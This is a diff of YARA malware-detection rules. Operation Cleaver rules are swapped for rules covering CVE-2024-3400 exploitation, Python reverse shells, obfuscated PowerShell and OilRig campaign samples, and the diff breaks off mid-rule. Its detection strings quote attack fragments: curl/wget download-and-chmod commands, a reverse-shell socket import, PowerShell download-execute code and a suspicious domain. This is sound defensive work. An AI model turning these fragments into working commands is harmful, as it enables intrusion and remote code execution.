+rule SIGNATURE_BASE_SUSP_LNX_Base64_Download_Exec_Apr24 : SCRIPT
 {
 	meta:
-		description = "Tiny Bot used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "4fad21a6-a900-5afb-876d-99a6d93e0c2c"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L117-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fdc41fbec71602e13105a03a4f44319a139018bda00e87e8f4d9b5e2f6269c14"
-		score = 70
+		description = "Detects suspicious base64 encoded shell commands used for downloading and executing further stages"
+		author = "Paul Hager"
+		id = "df8dddef-3c49-500c-abc8-7f7de5aa69ae"
+		date = "2024-04-18"
+		modified = "2024-04-24"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L48-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "90b7781812b4078550b0d66ba020b3bb0a8217f2de03492af98db6c619f31929"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "SCRIPT"
 
 	strings:
-		$s1 = "NetScp" wide
-		$s2 = "TinyZBot.Properties.Resources.resources"
-		$s3 = "Aoao WaterMark"
-		$s4 = "Run_a_exe"
-		$s5 = "netscp.exe"
-		$s6 = "get_MainModule_WebReference_DefaultWS"
-		$s7 = "remove_CheckFileMD5Completed"
-		$s8 = "http://tempuri.org/"
-		$s9 = "Zhoupin_Cleaver"
+		$sa1 = "curl http" base64
+		$sa2 = "wget http" base64
+		$sb1 = "chmod 777 " base64
+		$sb2 = "/tmp/" base64
 
 	condition:
-		(($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9)
+		1 of ($sa*) and all of ($sb*)
 }
-rule SIGNATURE_BASE_OPCLEAVER_Zhoupinexploitcrew
+rule SIGNATURE_BASE_SUSP_PY_Import_Statement_Apr24_1
 {
 	meta:
-		description = "Keywords used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "4e7457a0-e6e1-535c-b04b-ad313b496ce1"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L140-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1541f1ebc026d3eaf9b62150085415d12523ee1395fb8cf7ade8608a1b0a11b6"
-		score = 70
+		description = "Detects suspicious Python import statement and socket usage often found in Python reverse shells"
+		author = "Florian Roth"
+		id = "8e05f9a1-40a8-5d01-9e45-8779b0ff7a45"
+		date = "2024-04-15"
+		modified = "2024-04-24"
+		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L67-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5c199d9c3e449ca282f0ca91c94ac783709299b3489f7cec38177a2f843b504"
+		score = 65
 		quality = 85
 		tags = ""
 
 	strings:
-		$s1 = "zhoupin exploit crew" nocase
-		$s2 = "zhopin exploit crew" nocase
+		$x1 = "import sys,socket,os,pty;s=socket.socket("
 
 	condition:
 		1 of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Antivirusdetector
+rule SIGNATURE_BASE_SUSP_LNX_Base64_Exec_Apr24 : SCRIPT CVE_2024_3400
 {
 	meta:
-		description = "Hack tool used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "25ab4eaf-eae7-5a55-bed4-42f621d5f06c"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L156-L171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a8c2bbd27efab4c5579ea143abbd2f71c477dfd0ddbfb1741359e4d34140d9b"
-		score = 70
+		description = "Detects suspicious base64 encoded shell commands (as seen in Palo Alto CVE-2024-3400 exploitation)"
+		author = "Christian Burkard"
+		id = "2da3d050-86b0-5903-97eb-c5f39ce4f3a3"
+		date = "2024-04-18"
+		modified = "2024-04-24"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L81-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f84556970f2d90eaea89a03ae48518592f14eecd60ef4cc811988de451d5375c"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "SCRIPT, CVE-2024-3400"
 
 	strings:
-		$s1 = "getShadyProcess"
-		$s2 = "getSystemAntiviruses"
-		$s3 = "AntiVirusDetector"
+		$s1 = "curl http://" base64
+		$s2 = "wget http://" base64
+		$s3 = ";chmod 777 " base64
+		$s4 = "/tmp/" base64
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Csext
+rule SIGNATURE_BASE_Powershell_Isesteroids_Obfuscation
 {
 	meta:
-		description = "Backdoor used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "f865eae5-9988-5533-a004-e1694761a557"
-		date = "2014-12-02"
+		description = "Detects PowerShell ISESteroids obfuscation"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d686c4de-28fd-5d77-91d4-dde5661b75cd"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L173-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b4d070b71b685608ab84e757d01293749f2c017a6cd5b6ade6591264adc9836b"
-		score = 70
+		reference = "https://twitter.com/danielhbohannon/status/877953970437844993"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_obfuscation.yar#L11-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6d9476f679614e34a0d13664baffd15b0bdb896f7eeca2c9de66bdc0d65a2eec"
+		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "COM+ System Extentions"
-		$s2 = "csext.exe"
-		$s3 = "COM_Extentions_bin"
+		$x1 = "/\\/===\\__" ascii
+		$x2 = "${__/\\/==" ascii
+		$x3 = "Catch { }" fullword ascii
+		$x4 = "\\_/=} ${_" ascii
 
 	condition:
-		all of them
+		2 of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Kagent
+rule SIGNATURE_BASE_SUSP_Obfuscted_Powershell_Code
 {
 	meta:
-		description = "Backdoor used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "32d20495-eeed-5b2b-915d-cad60fa991f6"
-		date = "2014-12-02"
+		description = "Detects obfuscated PowerShell Code"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e2d8fc9e-ce2b-5118-8305-0d5839561d4f"
+		date = "2018-12-13"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L190-L204"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd72ade7d40db830dc980def5107261f9cb41b713f9a0a1b2f41f7658b31653e"
-		score = 70
+		reference = "https://twitter.com/silv0123/status/1073072691584880640"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_obfuscation.yar#L28-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "afd7e4b88c812b23441549565a18fde18c24fe91ec467455002ef338e092ebf9"
+		score = 65
 		quality = 85
 		tags = ""
 
 	strings:
-		$s1 = "kill command is in last machine, going back"
-		$s2 = "message data length in B64: %d Bytes"
+		$s1 = "').Invoke(" ascii
+		$s2 = "(\"{1}{0}\"" ascii
+		$s3 = "{0}\" -f" ascii
 
 	condition:
-		all of them
+		#s1>11 and #s2>10 and #s3>10
 }
-rule SIGNATURE_BASE_OPCLEAVER_Mimikatzwrapper
+rule SIGNATURE_BASE_SUSP_Powershell_Caret_Obfuscation_2
 {
 	meta:
-		description = "Mimikatz Wrapper used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "e9427e29-e581-5a5b-8f1d-4b9bfeec0946"
-		date = "2014-12-02"
+		description = "Detects powershell keyword obfuscated with carets"
+		author = "Florian Roth (Nextron Systems)"
+		id = "976e261a-029c-5703-835f-a235c5657471"
+		date = "2019-07-20"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L206-L220"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c643e248a9d8dd653ec99f8b59cdc7af945857a6a0321f93cc6983e85f84baba"
-		score = 70
-		quality = 85
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_obfuscation.yar#L43-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0aa21df64d61cb299b0f77da8b97e8cfc379622a8092e71657c478519d83fd31"
+		score = 65
+		quality = 31
 		tags = ""
 
 	strings:
-		$s1 = "mimikatzWrapper"
-		$s2 = "get_mimikatz"
+		$r1 = /p[\^]?o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l\^l/ ascii wide nocase fullword
+		$r2 = /p\^o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l[\^]?l/ ascii wide nocase fullword
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Pvz_In
+rule SIGNATURE_BASE_SUSP_OBFUSC_Powershell_True_Jun20_1 : FILE
 {
 	meta:
-		description = "Parviz tool used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "dede12b3-f1dd-58ba-a860-829b2331b740"
-		date = "2014-12-02"
+		description = "Detects indicators often found in obfuscated PowerShell scripts"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e9bb870b-ad72-57d3-beff-2f84a81490eb"
+		date = "2020-06-27"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L222-L236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eae778162be5dcfa0005bb237c5209e7103db3549e06706744f9ebdf04e192df"
-		score = 70
+		reference = "https://github.com/corneacristian/mimikatz-bypass/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_obfuscation.yar#L57-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8f33762e6e93fcf6b423b34eb1abefae2ae91b51048303947f7c1601823630d7"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
-		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
+		$ = "${t`rue}" ascii nocase
+		$ = "${tr`ue}" ascii nocase
+		$ = "${tru`e}" ascii nocase
+		$ = "${t`ru`e}" ascii nocase
+		$ = "${tr`u`e}" ascii nocase
+		$ = "${t`r`ue}" ascii nocase
+		$ = "${t`r`u`e}" ascii nocase
 
 	condition:
-		all of them
+		filesize <6000KB and 1 of them
 }
-rule SIGNATURE_BASE_OPCLEAVER_Pvz_Out
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Gen1 : FILE
 {
 	meta:
-		description = "Parviz tool used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "46b51bff-dfd9-5f56-897c-422112bc837b"
-		date = "2014-12-02"
+		description = "Detects malware from OilRig Campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d291edf1-b086-5c61-b131-61c9f6e1267b"
+		date = "2016-10-12"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L238-L252"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "849300c32d2df42a011386903495d271810fd8a40c76d1a0c6295c059deb3a05"
-		score = 70
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L12-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "17dbf53ba6e27b230e3357963162a1805c6460cdadce8bba68953a97f699e1b7"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34"
+		hash2 = "80161dad1603b9a7c4a92a07b5c8bce214cf7a3df897b561732f9df7920ecb3e"
+		hash3 = "662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f"
+		hash4 = "903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996"
+		hash5 = "c4fbc723981fc94884f0f493cb8711fdc9da698980081d9b7c139fcffbe723da"
+		hash6 = "57efb7596e6d9fd019b4dc4587ba33a40ab0ca09e14281d85716a253c5612ef4"
+		hash7 = "1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1"
+		hash8 = "9f31a1908afb23a1029c079ee9ba8bdf0f4c815addbe8eac85b4163e02b5e777"
+		hash9 = "0cd9857a3f626f8e0c07495a4799c59d502c4f3970642a76882e3ed68b790f8e"
+		hash10 = "4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281"
+		hash11 = "4e5b85ea68bf8f2306b6b931810ae38c8dff3679d78da1af2c91032c36380353"
+		hash12 = "c3c17383f43184a29f49f166a92453a34be18e51935ddbf09576a60441440e51"
+		hash13 = "f3856c7af3c9f84101f41a82e36fc81dfc18a8e9b424a3658b6ba7e3c99f54f2"
+		hash14 = "0c64ab9b0c122b1903e8063e3c2c357cbbee99de07dc535e6c830a0472a71f39"
+		hash15 = "d874f513a032ccb6a5e4f0cd55862b024ea0bee4de94ccf950b3dd894066065d"
+		hash16 = "8ee628d46b8af20c4ba70a2fe8e2d4edca1980583171b71fe72455c6a52d15a9"
+		hash17 = "55d0e12439b20dadb5868766a5200cbbe1a06053bf9e229cf6a852bfcf57d579"
+		hash18 = "528d432952ef879496542bc62a5a4b6eee788f60f220426bd7f933fa2c58dc6b"
+		hash19 = "93940b5e764f2f4a2d893bebef4bf1f7d63c4db856877020a5852a6647cb04a0"
+		hash20 = "e2ec7fa60e654f5861e09bbe59d14d0973bd5727b83a2a03f1cecf1466dd87aa"
+		hash21 = "9c0a33a5dc62933f17506f20e0258f877947bdcd15b091a597eac05d299b7471"
+		hash22 = "a787c0e42608f9a69f718f6dca5556607be45ec77d17b07eb9ea1e0f7bb2e064"
+		hash23 = "3772d473a2fe950959e1fd56c9a44ec48928f92522246f75f4b8cb134f4713ff"
+		hash24 = "3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4"
+		hash25 = "f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e"
 
 	strings:
-		$s1 = "Network Connectivity Module" wide
-		$s2 = "OSPPSVC" wide
+		$x1 = "Get-Content $env:Public\\Libraries\\update.vbs) -replace" ascii
+		$x2 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {waitfor haha /T 2}\" & Chr(34), 0" fullword ascii
+		$x3 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
+		$s4 = "CreateObject(\"WScript.Shell\").Run cmd, 0o" fullword ascii
+		$b1 = "JGdsb2JhbDpteWhvc3QgP" ascii
+		$b2 = "SE9NRT0iJXB1YmxpYyVcTGlicmFyaWVzX" ascii
+		$b3 = "U2V0IHdzcyA9IENyZWF0ZU9iamVjdCgid1NjcmlwdC5TaGV" ascii
+		$b4 = "JHNjcmlwdGRpciA9IFNwbGl0LVBhdGggLVBhcmVudCAtUGF0aCA" ascii
+		$b5 = "DQpTZXQgd3NzID0gQ3JlYXRlT2JqZWN" ascii
+		$b6 = "d2hvYW1pICYgaG9zdG5hb" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xcfd0 and filesize <700KB and 1 of them )
 }
-rule SIGNATURE_BASE_OPCLEAVER_Wndtest
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Mal1 : FILE
 {
 	meta:
-		description = "Backdoor used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "f8daa0a8-f0f0-5bf7-b9ab-eaf5335ff2b9"
-		date = "2014-12-02"
+		description = "Detects malware from OilRig Campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c577f0ff-1a33-5d7f-93b2-27df8d414bce"
+		date = "2016-10-12"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L254-L269"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b29c2b92b816bd0559695cb6b0b6e050ca8c5e256ec92448535fe9edf20757f"
-		score = 70
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L69-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5fc4329bb639765890c49907860883b96d278381b83307c906f624e6645dedd"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e17e1978563dc10b73fd54e7727cbbe95cc0b170a4e7bd0ab223e059f6c25fcc"
 
 	strings:
-		$s1 = "[Alt]" wide
-		$s2 = "<< %s >>:" wide
-		$s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
+		$x1 = "DownloadExecute=\"powershell \"\"&{$r=Get-Random;$wc=(new-object System.Net.WebClient);$wc.DownloadFile(" ascii
+		$x2 = "-ExecutionPolicy Bypass -File \"&HOME&\"dns.ps1\"" fullword ascii
+		$x3 = "CreateObject(\"WScript.Shell\").Run Replace(DownloadExecute,\"-_\",\"bat\")" fullword ascii
+		$x4 = "CreateObject(\"WScript.Shell\").Run DnsCmd,0" fullword ascii
+		$s1 = "http://winodwsupdates.me" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x4f48 and filesize <4KB and 1 of them ) or (2 of them )
 }
-rule SIGNATURE_BASE_OPCLEAVER_Zhcat
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Gen2 : FILE
 {
 	meta:
-		description = "Network tool used by Iranian hackers and used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "e1f1bc48-b895-5e23-8ffd-b6ea9c8eb26f"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L271-L285"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef5112532ba62cb2cf6a1c62b344d9146c5b8e2da50990c8cfd60d91b99bcb5e"
-		score = 70
+		description = "Detects Oilrig malware samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2ca0aadf-c5a8-5c89-ab1e-0c06d2ab8516"
+		date = "2016-10-12"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L88-L110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "861ae1696aaa89c81d04214e67d77d98ae85bd7f64ae2979fbe932dc696fd32c"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "c6437f57a8f290b5ec46b0933bfa8a328b0cb2c0c7fbeea7f21b770ce0250d3d"
+		hash2 = "293522e83aeebf185e653ac279bba202024cedb07abc94683930b74df51ce5cb"
 
 	strings:
-		$s1 = "Mozilla/4.0 ( compatible; MSIE 7.0; AOL 8.0 )" ascii fullword
-		$s2 = "ABC ( A Big Company )" wide fullword
+		$s1 = "%userprofile%\\AppData\\Local\\Microsoft\\" ascii
+		$s2 = "$fdn=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" fullword ascii
+		$s3 = "&{$rn = Get-Random; $id = 'TR" fullword ascii
+		$s4 = "') -replace '__',('DNS'+$id) | " fullword ascii
+		$s5 = "\\upd.vbs" ascii
+		$s6 = "schtasks /create /F /sc minute /mo " fullword ascii
+		$s7 = "') -replace '__',('HTP'+$id) | " fullword ascii
+		$s8 = "&{$rn = Get-Random -minimum 1 -maximum 10000; $id = 'AZ" fullword ascii
+		$s9 = "http://www.israirairlines.com/?mode=page&page=14635&lang=eng<" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0xcfd0 and filesize <4000KB and 2 of ($s*)) or (4 of them )
 }
-rule SIGNATURE_BASE_OPCLEAVER_Zhlookup
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Gen3 : FILE
 {
 	meta:
-		description = "Hack tool used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "45ef9a90-db4c-59c3-b694-da3f539b118b"
-		date = "2014-12-02"
-		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L287-L300"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9cc476e016708fd1604a63e2391057dc9dd0865448b62742ec596d6de54bf8f6"
-		score = 70
+		description = "Detects Oilrig malware samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1cd5f7ea-4ae6-5642-b8b3-050cfe724e69"
+		date = "2016-10-12"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L112-L129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ccc110b04ea3ee9a19ff23babbc759b4ec6114f8b5eb4f42bc5f70f8abde8a53"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "5e9ddb25bde3719c392d08c13a295db418d7accd25d82d020b425052e7ba6dc9"
+		hash2 = "bd0920c8836541f58e0778b4b64527e5a5f2084405f73ee33110f7bc189da7a9"
+		hash3 = "90639c7423a329e304087428a01662cc06e2e9153299e37b1b1c90f6d0a195ed"
 
 	strings:
-		$s1 = "zhLookUp.Properties"
+		$x1 = "source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlrrrr" fullword ascii
+		$x2 = "\\Libraries\\fireueye.vbs" ascii
+		$x3 = "\\Libraries\\fireeye.vbs&" wide
 
 	condition:
-		all of them
+		( uint16(0)==0xcfd0 and filesize <100KB and 1 of them )
 }
-rule SIGNATURE_BASE_OPCLEAVER_Zhmimikatz
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Mal2 : FILE
 {
 	meta:
-		description = "Mimikatz wrapper used by attackers in Operation Cleaver"
-		author = "Cylance Inc."
-		id = "fba8ab6e-3b61-53a1-b4df-178442e3cf24"
-		date = "2014-12-02"
+		description = "Detects malware from OilRig Campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7a6c38e7-bed9-524b-b4a5-c6c895b9c049"
+		date = "2016-10-12"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L302-L316"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d6ce5b3351d4b01abe0c2f614d002d4e96599b4bfa01138704a3fdf345d0786"
-		score = 70
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L131-L149"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b1de7dc3c205c78825f52ea30608b10bafa2c486db53693aa90aa07138fb1a87"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "65920eaea00764a245acb58a3565941477b78a7bcc9efaec5bf811573084b6cf"
 
 	strings:
-		$s1 = "MimikatzRunner"
-		$s2 = "zhmimikatz"
+		$x1 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {(Get-Content $env:Public\\Libraries\\update.vbs) -replace '__',(Get-Random) | Set-C" ascii
+		$x2 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
+		$x3 = "mailto:Mohammed.sarah@gratner.com" fullword wide
+		$x4 = "mailto:Tarik.Imam@gartner.com" fullword wide
+		$x5 = "Call Extract(DnsPs1, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\dns.ps1\")" fullword ascii
+		$x6 = "2dy53My5vcmcvMjAw" fullword wide
 
 	condition:
-		all of them
+		( uint16(0)==0xcfd0 and filesize <200KB and 1 of them )
 }
-rule SIGNATURE_BASE_OPCLEAVER_Parviz_Developer
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Campaign_Reconnaissance : FILE
 {
 	meta:
-		description = "Parviz developer known from Operation Cleaver"
+		description = "Detects Windows discovery commands - known from OilRig Campaign"
 		author = "Florian Roth (Nextron Systems)"
